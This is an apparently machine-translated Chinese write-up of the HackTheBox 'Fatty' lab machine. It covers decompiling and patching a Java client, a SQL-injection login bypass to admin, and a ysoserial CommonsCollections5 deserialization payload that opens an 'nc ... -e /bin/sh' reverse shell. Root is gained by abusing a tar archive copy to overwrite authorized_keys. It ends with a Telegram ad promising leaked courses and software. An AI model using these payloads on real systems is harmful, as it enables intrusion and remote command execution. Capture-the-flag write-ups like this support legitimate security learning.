我将继续发布解决方案,以期从HackTheBox平台完成计算机的最终定稿。
在本文中,由于反序列化Java对象存在漏洞,我们将在修改和重新编译客户端的同时反转两个Java应用程序,以利用授权期间的SQL注入并在服务器上执行命令。
与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.174,我将其添加到/ etc / hosts中。
10.10.10.174 fatty.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174 --rate=500
现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A fatty.htb -p21,22,1337,1338,1339
从nmap扫描中,我们看到匿名ftp登录是可能的,尽管它包含多个注释和一个jar文件。我们下载那里的所有内容。
wget ftp://fatty.htb/*
第一个说明说服务器正在端口1337、1338和1339上运行,并且客户端仍然具有端口8000,需要进行修复。
第二篇文章介绍了客户端窗体上元素的静态布局,以及该客户端使用Java 8。
第三个说明说其中提供了安全性问题和凭据。
让我们开始客户端。
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar
让我们反编译客户端。我正在使用Intellij IDEA,所以为此安装了java decompiler扩展。只需解压缩jar文件并将目录指定为项目目录即可。在beans.xml文件中,我们找到连接参数。
让我们将本地端口8000投向远程1337。
simpleproxy -L 8000 -R fatty.htb:1337
在这种情况下,我们将在/ etc / hosts中进行输入。
127.0.0.1 server.fatty.htb
这样,所有客户端流量都将被重定向到远程主机。我们开始并登录。
让我们来看看这个应用程序。在所有这些中,您应该停止获取文件列表和读取文件的功能。
但是,当我们尝试读取更多文件时,会出现错误。
唯一的问题是过滤器在哪里。预期需要修补代码,将应用程序反编译为jd-gui并保存。
解压缩后,在Intellij IDEA中将文件夹作为项目打开。
Java重新编译
我们将重新编译应用程序(此方法也适用于混淆的应用程序)。现在让我们完成环境设置。转到“文件”->“项目结构和项目设置”,设置以下设置:SDK版本-java8和将保存编译文件的目录。
接下来,转到“项目模块”,然后在“源”中选择我们感兴趣的目录,其中包含主要代码。
在Dependencies中,添加应用程序jar文件本身。
如您所见,“问题”项旁边的那个消失了。继续。在运行/调试配置中添加应用程序。
由于程序是从Starter类开始的,因此我们将其称为Mainer类。
全部都准备好了。现在转到Invoke类,并在文件列表功能中设置一个断点以更改目录。
现在,我们开始调试,并在此处停止。
并更改文件夹变量的值。
而且有效。我们看到文件列表。让我们找出start.sh文件中的内容。为此,我们将找到用于读取文件并在其中设置断点的函数。
让我们在附录中打开此文件,然后在此处停止。
并更改变量foldername的值。
并且我们成功读取了该文件。
因此,该应用程序代表系统用户qtc运行。为了获得该应用程序,您需要更改代码。让我们添加一个写入文件的函数,以字节为单位获取响应,在base64中对其进行编码,然后将此字符串传递给该函数。
让我们通过应用程序请求文件,在断点处停止并更改路径。
并且文件已成功保存。
cat srv.b64 | base64 -d > fatty-server.jar
服务器刺
在jd-gui中打开服务器应用程序。稍微看一下代码,我们收集了非常有用的信息。例如,数据库连接数据。
以及授权期间对数据库的请求。
因此,基于将从数据库返回的数据为应用程序创建用户。
因此,我们可以发出这样的请求,以便创建我们已知的qtc,但已经具有管理员权限。我们知道他的用户名和密码,但是散列将需要从数据库中返回。让我们计算一下:
我们需要执行如下查询:
SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'
为此,在调试应用程序时,我们将停止登录功能。
并更改变量用户名。
qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin
成功授权后,我们将看到我们的权利,我们将以管理员身份工作。
为了在调试过程中不更改其他任何东西,而是为了不断获得管理访问权限,即使字段为空,我们将更改登录功能。
现在我们已经找到了增加权限的方法,下面让我们看一下新的可用功能并确定进一步的攻击媒介。在服务器代码中,我们坚持在密码更改功能中使用序列化。
让我们在客户端应用程序中找到此功能。
因此,User对象被序列化,base64编码,然后传递到服务器,然后在服务器中解码和反序列化。由于函数的名称为灰色,因此不会在任何地方使用。您可以通过尝试更改密码来验证这一点。
在添加序列化对象作为参数之前,让我们在密码更改函数中放置一个断点。
让我们找到单击“更改”按钮时执行的代码。
让我们添加函数调用。
您可以使用ysoserial来利用数据反序列化中的漏洞。首先,让我们定义一个模块。
grep -R Invoke .
因此,我们将使用CommonsCollections。
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0
然后,我们将接收到的负载插入密码更改功能的更改代码中。
执行完应用程序后,我们得到了反向连接。
根
加载系统枚举脚本之一,例如linpeas。除了在Docker容器中之外,我们没有发现任何有趣的东西。
由于没有发现任何静态信息,因此让我们启动pspy并跟踪正在运行的进程。但是等待了一段时间后,没有发生任何有趣的事情。然后,我通过启动客户端应用程序并关闭它来启动该过程。关闭应用程序后,执行了scp命令。
因此,将复制带有日志的存档。我可以假设它也已经打开包装。让我们一起记录,下载,创建和打包使用ssh键指向文件的链接。
让我们检查存档。
优秀的。现在,让我们打开应用程序,登录,更改日志并关闭应用程序。
mv my.tar /opt/fatty/tar/logs.tar
现在,如果您重复这样的操作,文件的内容将被写入authorized_keys。因此,我们使用ssh-keygen生成了一个密钥对,对应用程序进行了重新制作,并编写了一个公共密钥而不是一个档案。
现在我们可以通过SSH使用私钥进行连接。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。